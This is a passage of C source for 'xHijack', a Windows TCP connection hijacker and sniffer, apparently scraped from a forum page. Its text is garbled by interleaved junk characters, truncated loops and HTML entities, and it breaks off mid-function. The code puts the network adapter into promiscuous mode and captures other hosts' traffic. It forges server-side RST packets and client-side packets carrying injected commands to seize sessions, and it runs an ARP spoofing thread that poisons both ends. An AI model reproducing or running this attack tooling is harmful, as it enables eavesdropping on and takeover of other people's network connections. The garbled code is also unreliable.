list of the adapters!\n"); + \1 L' t# a' i0 y+ I; |) `; Y0 ~ return 0; } temp = temp1 = AdapterName; i = 0; while ((*temp != '\0')||(*(temp-1) != '\0')) { 4 v2 p$ u5 a. p0 L( J if (*temp == '\0') { memcpy(AdapterList,temp1,(temp-temp1)*2); : U' O( s; d1 u printf("%d - %S\n", i+1, AdapterList); temp1=temp+1; % D: L: n# m: l' K$ e p) D i++; : y$ r9 |; D; U; O9 c5 E } 7 l* n1 M% Q4 E3 K4 M2 D temp++; ! H, f9 i+ Z9 \( j- V } ! U+ i8 P& l7 f# e //choose adapter 9 M. i, E+ F, H( _: F2 \ while((iAdapter <= 0) || (iAdapter > i)) { printf("\nPlease choose your Adapter:"); scanf("%1d", &iAdapter); 5 v2 {2 U: a; K+ s4 ?( X } ! J" y; p! ~" C% ^% r: O printf("\n"); 4 R3 O: J. K; r: k; o+ W9 f7 q5 O //---------------------------------------------// //这里调用iphlpapi来取得本地ip_addr和mac_addr sprintf(szSelectAdapterName, "%S", AdapterList[iAdapter -1], sizeof(szSelectAdapterName)-1); ( T9 `' A$ E$ v) S& ~- W dwRet = GetAdaptersInfo(pAdapterInfo, &ulLen); H& j& g: K' g0 q& w o" Z0 W/ x if(dwRet != ERROR_BUFFER_OVERFLOW) { 1 A) S& I5 W# d& p$ t c4 P printf("GetAdapterInfo error:%d\n", GetLastError()); 5 V! {6 H- {; E: F- D' ?2 _ return 0; 0 X1 n% g4 w) N$ G, a } pAdapterInfo = (PIP_ADAPTER_INFO)malloc(ulLen); if(!pAdapterInfo) 8 C8 L- u5 M2 } { . z$ y. B5 }7 \0 N printf("malloc memory for pAdapterInfo error:%d\n", GetLastError()); 5 ^! y5 D% K/ O, b- x return 0; } # _: y8 `' Y3 X9 Z7 m! q6 z! U5 j dwRet = GetAdaptersInfo(pAdapterInfo, &ulLen); - C% L1 H/ g. ~1 G if(dwRet != ERROR_SUCCESS) : E: x/ b, z3 O! A& W/ p6 r0 z { j1 P5 d4 M, b* n8 B0 L printf("GetAdapterInfo error:%d\n", GetLastError()); return 0; } pTmp = pAdapterInfo; - K1 A$ J7 I2 t. p while(pTmp) % M: h( M# E4 e { . {3 i- h2 }6 `2 z: T3 b //字符匹配

韩冰

if(strstr(szSelectAdapterName, pTmp->AdapterName)) 4 J( M/ O- O' O& I { 1 Y- i; X% u9 `. S1 F1 A4 T //found it,get own adapter mac address memcpy(g_szOwnMAC, pTmp->Address, 6); 3 j$ L( P. @9 Z1 l6 N //get ip address pIPAddr = &pTmp->IpAddressList; while(pIPAddr) { $ O9 ~5 o0 T; G& D9 ^ g_OwnIP[g_TotalIP++] = inet_addr((char *)&pIPAddr->IpAddress); ( n0 P# L3 {; }. Z/ i/ b/ l0 }/ G pIPAddr = pIPAddr->Next; S( {/ T+ g' H: Q4 A if(g_TotalIP >= Max_Num_IPAddr) break; , R; D: W- m* I$ l7 ^' ` } % c: S; h" t6 j+ Y* C break; } ; ~0 `# E1 c9 K6 @' ~( T# z) c pTmp = pTmp->Next; 9 r7 m5 ?% a5 @- g } * V2 j% P. w# Q3 n; K N- T free(pAdapterInfo); //not found,return zero if( (!pTmp) || (!g_TotalIP) ) return 0; //---------------------------------------------// * {$ v4 x8 J/ B* h) s: a; s+ _ //open adapter lpAdapter = (LPADAPTER) PacketOpenAdapter((LPTSTR) AdapterList[iAdapter - 1]); if (!lpAdapter || (lpAdapter->hFile == INVALID_HANDLE_VALUE)) ; C( D. y' Z% N, h7 Y0 C D { * Z. [8 P! g+ l, P" m" n! h8 r iRetCode = GetLastError(); 9 H' W! @' Z0 v( ^& h printf("Unable to open the driver, Error Code : %lx\n", iRetCode); 5 p' D. ^3 p" Q: _0 x* v% Y5 P return 0; ' u6 q/ b6 G/ d9 |7 N } // set the network adapter in promiscuous mod 7 \+ e! G( {1 R; q- m" C if(PacketSetHwFilter(lpAdapter, NDIS_PACKET_TYPE_PROMISCUOUS) == FALSE) ; Z/ ~ r5 e, i/ `$ B! C/ v { printf("Warning: unable to set promiscuous mode!Try set ALL_LOCAL mode!\n"); 7 X, v- x5 t+ {' g& k if(PacketSetHwFilter(lpAdapter, NDIS_PACKET_TYPE_ALL_LOCAL) == FALSE) { printf("Unable to set ALL_LOCAL mode!\n"); return 0; } / \' x: d1 f; D% r } // set a 512K buffer in the driver if(PacketSetBuff(lpAdapter, 512000) == FALSE) { printf("Unable to set the kernel buffer!\n"); " [. e5 Y5 c$ K9 v: B7 i$ L return 0; } // set a 1 second read timeout 0 u6 m% g* R, D, ~% E- T6 \ if(PacketSetReadTimeout(lpAdapter, 1000) == FALSE) printf("Warning: unable to set the read tiemout!\n"); if(PacketSetNumWrites(lpAdapter, 1) == FALSE) 1 b" E7 ~% @- T. u4 s/ {% X/ _1 [ printf("warning: Unable to send more than one packet in a single write!\n"); //设置发送的packet 1 n9 I9 a0 S1 [4 R1 h g_lpSendPacket = PacketAllocatePacket(); ' }- g$ G, U) E! W' P k if(g_lpSendPacket == NULL) { 9 f6 z$ V3 {1 ?; a7 O printf("Error:failed to allocate the LPPACKET structure for send packet.\n"); / k' r( d, r( ~# A- H return 0; } ZeroMemory(g_szSendPacketBuf, sizeof(g_szSendPacketBuf)); PacketInitPacket(g_lpSendPacket, g_szSendPacketBuf, 1514); return lpAdapter; 7 V% j* c) h1 J- _+ U3 h) y} 5 F; n% W$ u0 A+ x h, o 5 j# {1 |2 h, g3 @" W//功能：帮助信息 void usage() 0 D. w- r h# O( @6 ^{ s; n% t) G: G) m* j printf( "xHijack v1.0 -- multipurpose connection intruder / sniffer for windows 2000\n" "By eyas 2002/8/19\n" 5 \+ _) [: g' b$ M" }; ] "http://www.ey4s.org\n" "Thanks to Refd0m and shotgun\n\n" "Usage: xHijack ServerSide ClientSide\n\n"); } & J6 U2 R/ h$ y/ G7 B// //功能：显示数据包的一些详细信息 % a9 a. `8 R6 f7 r, M0 H, a- P+ {6 T// - @0 F% g) z8 a1 aVOID ShowPacketMoreInfo(PTCPPACKET pTCPPacket, USHORT usDataLen, BOOL bDetail) { ' u( t# n6 J0 c$ G2 M' m4 o7 W SOCKADDR_IN saDest, saSrc; 1 |5 c1 w* R4 r3 S( l1 ] unsigned char FlagMask; * r6 `* M! \0 Q5 _ int i; # C& g3 }+ ]% ]7 `' H 7 u/ u. Q N( O saDest.sin_addr.s_addr = pTCPPacket->iphdr.destIP; + o8 u% ~0 |% e3 }" e4 t0 H saSrc.sin_addr.s_addr = pTCPPacket->iphdr.sourceIP; printf("\n%-15s:%-5d -> ", inet_ntoa(saSrc.sin_addr), ntohs(pTCPPacket->tcphdr.th_sport)); printf("%-15s:%-5d DataLen=%d ", inet_ntoa(saDest.sin_addr), . M! ?' s( u$ C* C4 V" K& M ntohs(pTCPPacket->tcphdr.th_dport), usDataLen); 1 m9 g9 c9 t: ? {# q$ N0 H //display TCP flag for( i=0, FlagMask=1; i<6; i++, FlagMask <<= 1) 3 {* P2 \) U9 j8 s* X6 U { if((pTCPPacket->tcphdr.th_flag) & FlagMask) 5 P9 [1 u* ^% `0 Z5 x5 l printf("%c", g_szTcpFlag); 7 x8 R1 U( D; i: c1 g else printf("-"); ) x' \7 Y9 V5 K } printf("\n"); //如有需要，可显示更多详细的信息 if(bDetail) printf("SEQ=%.8X ACK=%.8X\n",ntohl(pTCPPacket->tcphdr.th_seq), ntohl(pTCPPacket->tcphdr.th_ack)); & b" g. y0 Q2 G+ x( k: r4 ~& G) O} ) g6 g1 n0 Z9 I5 u 6 X! j; {! X% Z( R$ t0 R// ) }. I2 N: ^2 G# J3 p8 F6 _//功能：处理收到的数据包(只分析本不属于自己的包)，然后根据用户输入，完成各种功能 + Z/ W+ H. }9 M! I1 ?, v// + @9 ^, G/ J4 U$ ~DWORD WINAPI AnalysePacketsThread(LPVOID lp) 7 ]3 M( D2 }9 l( b2 m0 w, n{ ) s# h# G. N& B5 K ULONG ulBytesReceived; 7 m) _: U8 f& x! q USHORT usDataLen; ! w+ q1 N$ x8 i, s# ?; `+ v) k8 Q2 E //USHORT usIPHeadLen, usTCPHeadLen; char *buf; u_int off, i; / P) `! M3 E% \- O PTCPPACKET pTCPPacket; struct bpf_hdr *hdr; LPPACKET lpRecvPacket; char szPacketBuf[256000], *pStr; 7 W0 H% @1 [7 e BOOL bDeleteNode, bAddNew; ' ^, g, d( q$ |1 i& K0 H' t X DWORD ident;//当前所处理的数据包，所属的连接的唯一标识 BOOL bClientToServer;//数据包是否从客户端发送到服务器端 $ u" v+ S$ A& k. \: ]0 ^: g ( I0 J7 R/ v7 P& C" y/ g //设置接收的packet . _! ~+ U6 c1 C5 F lpRecvPacket = PacketAllocatePacket(); if(lpRecvPacket == NULL) v t3 v2 A$ D { printf("Error:failed to allocate the LPPACKET structure for recv.\n"); return 0; 6 X5 R/ K Z: W4 Y; E } ZeroMemory(szPacketBuf, sizeof(szPacketBuf)); PacketInitPacket(lpRecvPacket, szPacketBuf, 256000); while(1) ! n5 T9 d: q$ \# R { - b; v# q/ G8 W; W/ g5 `0 n" ` // capture the packets 0 C: z# n* {2 M. s6 b if(PacketReceivePacket(g_lpAdapter, lpRecvPacket, TRUE) == FALSE) { printf("Error: PacketReceivePacket failed.\n"); 0 G9 V: Q- U1 l2 Z. ?( i+ F5 I break; } ulBytesReceived = lpRecvPacket->ulBytesReceived; 4 H5 U3 P! y m- Z: u. i2 O buf = lpRecvPacket->Buffer; / L8 B7 p: a) ~7 Z4 E- @ off = 0; while(off < ulBytesReceived) 9 w/ W/ u' V2 l% }( l" G { hdr = (struct bpf_hdr *)(buf + off); 3 e0 t! z+ a+ d5 `5 o off += hdr->bh_hdrlen; . m! U0 G* c. R& b( d7 K; ^ pTCPPacket = (PTCPPACKET)(buf + off); off = Packet_WORDALIGN(off + hdr->bh_caplen); //不需要处理自己发出的包(转发或本机发送的) " B+ E5 h9 l# ^' p# \ if(memcmp(pTCPPacket->ehhdr.SourceMAC, g_szOwnMAC, 6) == 0) continue; //检查是否IP包 if(pTCPPacket->ehhdr.EthernetType != htons(EPT_IP)) continue; * ]) V1 F: F _3 ^/ Z1 \6 i //检查是否TCP包 if(pTCPPacket->iphdr.proto != IPPROTO_TCP) continue; //也不处理DestIP是自己的包 ) r$ w X7 z3 X$ W* H for(i=0; i

韩冰

pTCPPacket-&gt;iphdr.sourceIP, pTCPPacket-&gt;tcphdr.th_sport, TRUE, FALSE);
6 w- l  L9 ?' Z( |+ j- T: n            //reset action flag
% Q0 l* \. U7 t3 h, Y  Q8 s: p            ResetActionAllFlag();
8 z: I7 X. z! d5 z, f          }
' g- R0 {. g0 W5 u) h          //start hijack
) K- J3 U/ q( P* X          else if(g_dwAction == ACTION_HIJACK)
7 h( Y3 G& Q2 H, @) ?! x          {
            //send rst packet to client
) H% x) a  r  e% M  `/ Y$ l            SendRstPacket(pTCPPacket-&gt;tcphdr.th_ack, pTCPPacket-&gt;tcphdr.th_seq);
. W* q4 |9 Z( Q0 l$ A# G: A# k0 U            //send hijack packet to client
            SendHiJackPacket(pTCPPacket);
            //reset action flag
. A) g& l, m$ ~. Y8 J' N            ResetActionAllFlag();
          }
        }
4 |5 C; W" c, Z! E0 K        //show the tcp data
; \* i/ ?- b" ^0 \4 s* J$ C        if( (g_dwAction == ACTION_WATCH) &amp;&amp; (usDataLen) )
$ d" V7 [+ s- F6 w/ n' @" k0 y! m5 ]& q- q# J        {
          ShowPacketMoreInfo(pTCPPacket, usDataLen, FALSE);
          //暂不考虑IP、TCP头不是20字节的情况
4 f5 `) D6 A- V! t! X          //pStr = (char *)pTCPPacket + sizeof(EHHDR) + usIPHeadLen + usTCPHeadLen;
$ }% \5 A. o7 i6 ?          pStr = (char *)pTCPPacket + 54;
# b( D7 U! N6 Z& _8 u5 Z! ]          for(i=0; i        }
2 G1 _1 Q: H; [  u" ^      }
8 Q9 w; }3 @7 v) W" ]; A! y: M      //debug output
      //ShowPacketMoreInfo(pTCPPacket, usDataLen, TRUE);
    }//end of analyse packets while
  }//end of recv packets while
* a# G1 G8 H( w& |# I( G  PacketFreePacket(lpRecvPacket);
8 m9 W4 d( e( M  return 0;
}

7 o+ J4 y0 ~3 L3 [2 u, C' A
3 D) P* s( @- k1 t4 v! C' {5 C9 H//
//功能：操作记录所有连接信息的单向链表
; V; l6 O4 g1 g( z: O//
DWORD CtrlConnInfoLink(DWORD dwServerIP, USHORT uServerPort, DWORD dwClientIP,
. n" O1 G' C5 ^/ q" M1 G' @            USHORT uClientPort, BOOL bDelete, BOOL bAddNew)
" s+ j$ D7 q" E3 B3 s2 M' ^/ a{
  PCONNINFO  pNew, pTmp;

% A- V1 f$ K8 F# U/ {1 O. O  pTmp = g_pConnHead;
9 W( m0 j( u. b# W) I9 Z  while(pTmp)
  {
    if(pTmp-&gt;bActive)
) `/ V0 l3 ~, d! d/ h) l    {
4 P+ a; y  W: B8 [! X' v, k; `/ D      //found it
6 ]$ ^0 Z; a) G2 I      if( (pTmp-&gt;dwServerIP == dwServerIP) &amp;&amp;
! S+ h. F7 C  q# }7 q        (pTmp-&gt;uServerPort == uServerPort) &amp;&amp;
        (pTmp-&gt;dwClientIP == dwClientIP) &amp;&amp;
8 ^1 A$ u* n) {$ E) r6 Z2 ]        (pTmp-&gt;uClientPort == uClientPort) )
      {
        if(bDelete)
2 c0 w! f8 ~: }/ w        {
          pTmp-&gt;bActive = FALSE;
          return 0;
        }
6 O" J2 F9 q0 l& Y8 m) z        else return pTmp-&gt;ident;
      }
+ k' c% ~( S) p    }
" J) C3 T8 L: S    pTmp = pTmp-&gt;Next;
( o1 O2 H+ v- ?' p2 N  }
  //not found, create new node
  if( (!pTmp) &amp;&amp; (!bDelete) &amp;&amp; (bAddNew) )
8 j" V* _: i6 ]. Q: S  {
/ y8 p3 R! i7 n4 `    //search unactive note
$ F0 T* j6 |8 b, r; i8 W    pTmp = g_pConnHead;
    while(pTmp)
    {
      if(!pTmp-&gt;bActive) break;
: g  V4 n- f- L      pTmp = pTmp-&gt;Next;
) ^! [% {& ^! V- j1 q    }
    //found a unactive node
    if(pTmp)
    {
8 B2 J/ t" Z2 a      pTmp-&gt;dwServerIP = dwServerIP;
      pTmp-&gt;uServerPort = uServerPort;
      pTmp-&gt;dwClientIP = dwClientIP;
  D4 u# D# z+ X& b" v5 a8 X      pTmp-&gt;uClientPort = uClientPort;
) S; A& ~# {# S! H  @      pTmp-&gt;bActive = TRUE;
- f! a# L1 T& Q( V# C8 |, ?$ g      return pTmp-&gt;ident;
& p( {9 _6 {% P% E* G( r; N    }
* x8 i1 l% @! \7 @7 ^9 @' n) U7 |    //not found,create new node
    pNew = (PCONNINFO)malloc(sizeof(CONNINFO));
    if(!pNew)
" c* }6 q/ a7 q% h    {
# ^) K# y; {; x3 B9 ]      printf("malloc for link node error:%d\n", GetLastError());
" B0 a6 \0 @9 Y* v      return 0;
8 H5 j: ?# C2 X4 `    }
    //fill the struct
    pNew-&gt;bActive = TRUE;
/ E: W/ ]. r! V" W( q% I$ e    pNew-&gt;dwServerIP = dwServerIP;
    pNew-&gt;uServerPort = uServerPort;
    pNew-&gt;dwClientIP = dwClientIP;
; U, v. [0 W5 O, {+ }    pNew-&gt;uClientPort = uClientPort;
3 U! m. R# T4 U" }5 Q; F  X    pNew-&gt;ident = ++g_ident;
7 u% Z9 ^0 z4 ]    pNew-&gt;Next = NULL;
& e$ S4 Z- d. [. M3 Z/ c    //add new node to link
    if(!g_pConnHead)
      g_pConnHead = g_pConnLast = pNew;
: T- s1 t8 x: M    else
    {
      g_pConnLast-&gt;Next = pNew;
      g_pConnLast = pNew;
( x. S& f+ o0 a" Y6 ]; Z6 P    }
6 P7 L- q0 Z: ]% u. j$ s1 Z    return pNew-&gt;ident;
  }
  return 0;
}

//
6 k* Y- N0 h% L; f, y/ g' t0 H& e& f//功能：判断一个数据包是不是只有ACK标志
//
BOOL IsACKPacket(unsigned char flag)
{
  int  i, j=1;
  for(i=0 ; i&lt;4; i++)
3 o% v9 R0 m& u7 t, b  {
- l1 h4 m" i4 _5 g    if(flag &amp; j) return FALSE;
0 A9 v8 V; W& X    j &lt;&lt;= 1;
  }
  if(!(flag &amp; 0x10)) return FALSE;//is ack?
  if(flag &amp; 0x20) return FALSE;
/ r& B4 V5 |8 n4 j1 w/ ?! R5 F; K  return TRUE;
}

: Y1 t4 J8 d) A( W! T) k* D//
2 }0 h# e' l5 S) P3 t( j//功能：伪装成Client给Server发送数据包
//
. j* E* J# }1 l, {7 S; oBOOL SendHiJackPacket(PTCPPACKET pTempletPacket)
& j) c, \) h  v2 }! [2 X. a{
+ f6 i+ p5 v# ~
9 A. G- T% T" O) m. B+ \  char    szBuff[1520];
- O5 T4 G3 P3 o! p  PSDHDR    psdhdr;
  PTCPPACKET  pHiJackPacket = NULL;
  BOOL    bRet = FALSE;

2 {. S9 D' c# f9 {5 X8 l  __try
# j3 `# l2 V, X( \. G  {
6 M  X% }, }' o, B* D    //
    if(!g_pCurrCtrlConn) __leave;
# u6 W, I2 n) [& ]: c    //allocate memory for hijack packet
2 v  V; H2 L) M( O$ y; L    pHiJackPacket = (PTCPPACKET)malloc(sizeof(TCPPACKET));
    if(!pHiJackPacket)
    {
6 p4 u" G+ E" Y# p      printf("malloc error:%d\n", GetLastError());
      __leave;
    }
7 o! L& h# F0 P( J0 e    memcpy(pHiJackPacket, pTempletPacket, sizeof(TCPPACKET));
    //-------------- modify the packet ---------------//
* l; U* w' @- q, E    //modify ethernet head
    memcpy(pHiJackPacket-&gt;ehhdr.DestMAC, g_szServerSideMAC, 6);
' m; F+ F- _- R1 Y4 n4 X    memcpy(pHiJackPacket-&gt;ehhdr.SourceMAC, g_szOwnMAC, 6);
. f! j* W" `, K5 I% p; }( P    //modify ip head
    pHiJackPacket-&gt;iphdr.h_verlen = (4&lt;&lt;4 | sizeof(IPHDR)/sizeof(unsigned long));
    pHiJackPacket-&gt;iphdr.total_len = htons(sizeof(IPHDR)+sizeof(TCPHDR)+strlen(g_szCommand));
    pHiJackPacket-&gt;iphdr.ident += 1;//标识加1
% Z0 O' e6 J5 R' s. t" d    pHiJackPacket-&gt;iphdr.checksum = 0;
0 Q# @8 Z/ f' P, v% J    pHiJackPacket-&gt;iphdr.sourceIP = g_pCurrCtrlConn-&gt;dwClientIP;//源IP地址，伪装成client
+ f; x* d/ o0 ^! V$ C    pHiJackPacket-&gt;iphdr.destIP = g_pCurrCtrlConn-&gt;dwServerIP;//目的IP地址，接收hijack包的地址
$ M& K4 M3 j. v$ b* @. R    //modify tcp head
9 n$ T+ V% b4 U* y    pHiJackPacket-&gt;tcphdr.th_sport = g_pCurrCtrlConn-&gt;uClientPort;//client's port
/ J7 J! t- C8 C$ M+ F    pHiJackPacket-&gt;tcphdr.th_dport = g_pCurrCtrlConn-&gt;uServerPort;//server's port
' p7 \) T! E7 }7 D1 v0 \! R2 l    pHiJackPacket-&gt;tcphdr.th_lenres = (sizeof(TCPHDR)/4 &lt;&lt; 4 | 0);
6 S" j0 C; j7 \$ z' X- q9 u, q+ e, `    pHiJackPacket-&gt;tcphdr.th_flag = 0x18;// PA
    pHiJackPacket-&gt;tcphdr.th_sum = 0;
    pHiJackPacket-&gt;tcphdr.th_win = 0x3F44;
    //fill tcp psd head
    psdhdr.saddr = pHiJackPacket-&gt;iphdr.sourceIP;           
    psdhdr.daddr = pHiJackPacket-&gt;iphdr.destIP;           
5 u7 V; P) r' W3 k8 H    psdhdr.mbz = 0;
/ D9 m; z" o% U- h/ l    psdhdr.ptcl = IPPROTO_TCP;
' ~7 |, o& w1 P3 i  ~" a    psdhdr.tcpl = htons(sizeof(TCPHDR) + strlen(g_szCommand));//tcp head + data len
    //calculate tcp checksum     
; j% K; R: P8 X& `. v0 Q- p    memcpy(szBuff, &amp;psdhdr, sizeof(PSDHDR));   
5 m( F. e0 x, T1 }+ L6 h" V8 Y/ n    memcpy(szBuff + sizeof(PSDHDR), &amp;pHiJackPacket-&gt;tcphdr, sizeof(TCPHDR));
1 m* k  {8 m+ s    memcpy(szBuff + sizeof(PSDHDR) + sizeof(TCPHDR), g_szCommand, strlen(g_szCommand));
/ O2 W, R1 ]6 s! g7 h$ U  U3 @9 _6 V0 w    pHiJackPacket-&gt;tcphdr.th_sum = checksum((USHORT *)szBuff, sizeof(PSDHDR) + sizeof(TCPHDR) + strlen(g_szCommand));
  ]* |) z( L+ S) n, [    //calculate IP checksum
    pHiJackPacket-&gt;iphdr.checksum = checksum((USHORT *)&amp;pHiJackPacket-&gt;iphdr, sizeof(IPHDR));
    //fill send buffer           
    memcpy(szBuff, (char *)pHiJackPacket, sizeof(TCPPACKET));
    memcpy(szBuff + sizeof(TCPPACKET), g_szCommand, strlen(g_szCommand));
    memset(szBuff + sizeof(TCPPACKET) + strlen(g_szCommand), 0, 4);
2 d" q# s* U2 b- v# D& W    memset(g_lpSendPacket-&gt;Buffer, 0, 1514);
. [2 r+ \9 [8 H% \    memcpy(g_lpSendPacket-&gt;Buffer, szBuff, sizeof(TCPPACKET) + strlen(g_szCommand));
# M7 b- ~! h/ s8 L    if(PacketSendPacket(g_lpAdapter, g_lpSendPacket, TRUE) == FALSE)
9 F2 I8 S5 g7 g. o/ w3 _    {
- q* B8 s1 ?1 X3 R1 T      printf("Error sending the hijack packets!\n");
      __leave;
    }
    else printf("Send hijack packet ok!\n");
    bRet = TRUE;
5 b4 b- f/ S' D8 J$ R  }

韩冰

__finally
4 h' K3 C$ S8 z( J- E  {
- a  N7 e* M+ ~% N    if(pHiJackPacket) free(pHiJackPacket);
( F7 T4 i0 @  ?* r' X  }
8 n' p; @0 L' ^& |! k4 H  return bRet;
+ I2 p2 l" A7 c: I}
) m. y( u& b) x$ [9 z; Z
- [' y4 t% ^$ o. x
) a  ]* B0 W' Q2 }//
//功能：伪装成Server给Client发送rst包
8 \1 H' V6 D  m7 i9 `//
. w5 y+ [- O& G7 J1 ^BOOL SendRstPacket(unsigned int seq, unsigned int ack)
. |9 {: ~9 V3 b/ _- I4 `{
  char    szBuff[60];
; i1 b) \" k( w, h% r' {  PSDHDR    psdhdr;
  PTCPPACKET  pTcpPacket = NULL;
: G! O: X) s8 ]. m7 k  BOOL    bRet = FALSE;

  __try
  {
    //检查当前指向想控制的连接的信息的指针是否为空
8 d* V  c( V% c    if(!g_pCurrCtrlConn) __leave;
    //allocate memory for rst packet
    pTcpPacket = (PTCPPACKET)malloc(sizeof(TCPPACKET));
    if(!pTcpPacket)
    {
/ k. v: I" p' U2 H      printf("malloc error:%d\n", GetLastError());
      __leave;
    }
( |( p( v- m! z! C4 }; x    //fill ethernet head
. |+ V7 [7 o. Z! e( {7 g* o    memcpy(pTcpPacket-&gt;ehhdr.DestMAC, g_szClientSideMAC, 6);
; p. l2 @: t/ N! o, g: f7 y, F0 U    memcpy(pTcpPacket-&gt;ehhdr.SourceMAC, g_szOwnMAC, 6);
. b$ X  j7 W* N8 r" W3 g    pTcpPacket-&gt;ehhdr.EthernetType = htons(EPT_IP);
8 E, Z! O; W7 Y3 E: u$ Y5 n/ h$ I, M    //fil ip head
. q. U7 h+ |* v' @    pTcpPacket-&gt;iphdr.h_verlen = (4&lt;&lt;4 | sizeof(IPHDR)/sizeof(unsigned long));
9 }% E% q  S% D! v5 y1 |1 h* P, H    pTcpPacket-&gt;iphdr.tos = 0;
    pTcpPacket-&gt;iphdr.total_len = htons(sizeof(IPHDR)+sizeof(TCPHDR));
    pTcpPacket-&gt;iphdr.ident = 1;
    pTcpPacket-&gt;iphdr.frag_and_flags = 0;
    pTcpPacket-&gt;iphdr.ttl = 128;
) z' z5 ]! n' J/ y. e0 T    pTcpPacket-&gt;iphdr.proto = IPPROTO_TCP;
9 F+ ~# J1 {1 D! }    pTcpPacket-&gt;iphdr.checksum = 0;
* C  U( i, i! i1 N9 J/ S& ?    pTcpPacket-&gt;iphdr.sourceIP = g_pCurrCtrlConn-&gt;dwServerIP;//源IP地址，伪装成服务器的
    pTcpPacket-&gt;iphdr.destIP = g_pCurrCtrlConn-&gt;dwClientIP;//接收此rst包的ip地址
7 e5 |: c  v- |/ R6 w' A  V* l    //fill tcp head
    pTcpPacket-&gt;tcphdr.th_sport = g_pCurrCtrlConn-&gt;uServerPort;//源端口号，伪装成服务器的端口
    pTcpPacket-&gt;tcphdr.th_dport = g_pCurrCtrlConn-&gt;uClientPort;//接收此rst包的端口
    pTcpPacket-&gt;tcphdr.th_seq = seq;//SYN
6 [2 y7 O2 h7 G; g7 q    pTcpPacket-&gt;tcphdr.th_ack = ack;//ACK
* B( t( ~% v, I5 }" C8 N0 S9 @0 }    pTcpPacket-&gt;tcphdr.th_lenres = (sizeof(TCPHDR)/4&lt;&lt;4|0);
* k4 J& [. H( g, {& N0 z    pTcpPacket-&gt;tcphdr.th_flag = 4;//RST flag
    pTcpPacket-&gt;tcphdr.th_win = 0;
$ ]. T7 z/ M& g6 T, M' j& s2 `    pTcpPacket-&gt;tcphdr.th_urp = 0;
) R& C2 o( r: _: {2 j2 [    pTcpPacket-&gt;tcphdr.th_sum = 0;
    //fill tcp psd head
2 v1 Y5 c& J/ _" S    psdhdr.saddr = pTcpPacket-&gt;iphdr.sourceIP;           
    psdhdr.daddr = pTcpPacket-&gt;iphdr.destIP;           
    psdhdr.mbz = 0;
+ v: B6 N$ P& x4 i& t( v9 }* R    psdhdr.ptcl = IPPROTO_TCP;
9 c! B' P& y* ^+ k    psdhdr.tcpl = htons(sizeof(TCPHDR));
    //calculate tcp checksum     
    memcpy(szBuff, &amp;psdhdr, sizeof(PSDHDR));   
6 P% {7 U2 `/ b- J- p) V    memcpy(szBuff + sizeof(PSDHDR), &amp;pTcpPacket-&gt;tcphdr, sizeof(TCPHDR));
    pTcpPacket-&gt;tcphdr.th_sum = checksum((USHORT *)szBuff, sizeof(PSDHDR) + sizeof(TCPHDR));
    //calculate IP checksum
    pTcpPacket-&gt;iphdr.checksum = checksum((USHORT *)&amp;pTcpPacket-&gt;iphdr, sizeof(IPHDR));
3 ]" c, {& o7 {/ Z* Y* C# B    //fill send buffer
    memset(g_lpSendPacket-&gt;Buffer, 0, 1514);
    memcpy(g_lpSendPacket-&gt;Buffer, (char *)pTcpPacket, sizeof(TCPPACKET));
3 \6 U6 w5 T' Y2 C+ V! B3 N- ?9 f/ f    if(PacketSendPacket(g_lpAdapter, g_lpSendPacket, TRUE) == FALSE)
    {
      printf("Error sending the rst packets!\n");
      __leave;
( C. q) q& I& R5 S8 |    }
/ t5 N4 R: w/ Y# J5 I5 j    else printf("Send RST packet ok!\n");
1 l, i+ a/ w! R3 C    bRet = TRUE;
& O9 m& d4 B5 G2 L  }
  __finally
- X( r5 ~  j! u- k* E' p2 P5 H  {
5 [! U( i. J1 z$ h; |  N+ E    if(pTcpPacket) free(pTcpPacket);
  [5 c1 y+ a$ K2 y! w  }
" C* b+ G/ z6 n) D+ [/ Z  return bRet;
}

//
  E/ [  F5 l( c- U8 Y//功能：计算校验和
//
USHORT checksum(USHORT *buffer, int size)
{
unsigned long cksum=0;
while(size &gt;1) {
0 f2 ~3 F: K: {: v$ U! o  cksum+=*buffer++;
) K, _& B& o4 w3 }, r% O  size -=sizeof(USHORT);
- _, X  B3 I6 o" [. W: ` }
' Z1 G5 A" f' O& r  a if(size ) {
1 c  {2 g$ z! g6 T  cksum += *(UCHAR*)buffer;
}
cksum = (cksum &gt;&gt; 16) + (cksum &amp; 0xffff);
. W4 @+ |& ]% q( W4 r' | cksum += (cksum &gt;&gt;16);
return (USHORT)(~cksum);
2 A& o  A% i3 m" \}

//
//功能:实施ARP欺骗
6 \' `8 Z' N2 N+ ~1 k//1 告诉ServerSide,ClientSide的mac是ownmac
& T  |4 b% L" ^4 Z5 g% h$ u- b//2 告诉ClientSide,ServerSide的mac是ownmac
$ X; u6 ?% O2 o; N! a- s9 F//
! \* Q3 V( C) p, m( XDWORD WINAPI ArpSpoofThread(LPVOID lpType)
% P, Q8 N) g2 ]2 z* O8 n# v8 Z2 A{
, R0 h# i" H* u$ B3 X; e8 k4 j  int  iType = *(int *)lpType;
  ARPPACKET  ArpPacket;
  LPPACKET  lpArpPacket;
  char    szArpBuff[60];
* t6 R/ z+ L, k) |! m. l
  switch(iType)
) _: e$ o4 Q; E4 E  {
. g- p( g/ H; i, e. S# m    case 1:
/ x* n+ M, N# P* I. _  A. N      memcpy(ArpPacket.ehhdr.DestMAC, g_szServerSideMAC, 6);
      ArpPacket.arphdr.DestIP = g_ServerSideIP;
      ArpPacket.arphdr.SourceIP = g_ClientSideIP;
% `( f  }- o1 q; B- k( \; u1 ^      break;
    case 2:
      memcpy(ArpPacket.ehhdr.DestMAC, g_szClientSideMAC, 6);
" Z+ R& n% i! q8 x      ArpPacket.arphdr.DestIP = g_ClientSideIP;
( P2 i% d4 E4 }2 n6 i! A% ?      ArpPacket.arphdr.SourceIP = g_ServerSideIP;
1 p0 Y1 j3 T% j; S, y. Y3 A      break;
    default:
2 \  d3 W* b! v8 N      return 0;
! m4 v4 @$ B/ D3 \6 o  }
  //ethernet head
4 d' k8 @. {* R  memcpy(ArpPacket.ehhdr.SourceMAC, g_szOwnMAC, 6);
/ E8 O8 p! ]+ C3 w0 Q3 j  ArpPacket.ehhdr.EthernetType = htons(EPT_ARP);//ethernet type
: D7 }3 `' W% ^+ x( v3 F5 F  //arp head
1 P* B4 o0 o5 r  memcpy(ArpPacket.arphdr.DestMAC, ArpPacket.ehhdr.DestMAC, 6);//dest's mac
' ^. ^2 d" n: J1 T  memcpy(ArpPacket.arphdr.SourceMAC, g_szOwnMAC, 6);//sender's mac
* p" ~1 i/ |/ E" j# u4 Y  C  ArpPacket.arphdr.HrdAddrlen = 6;
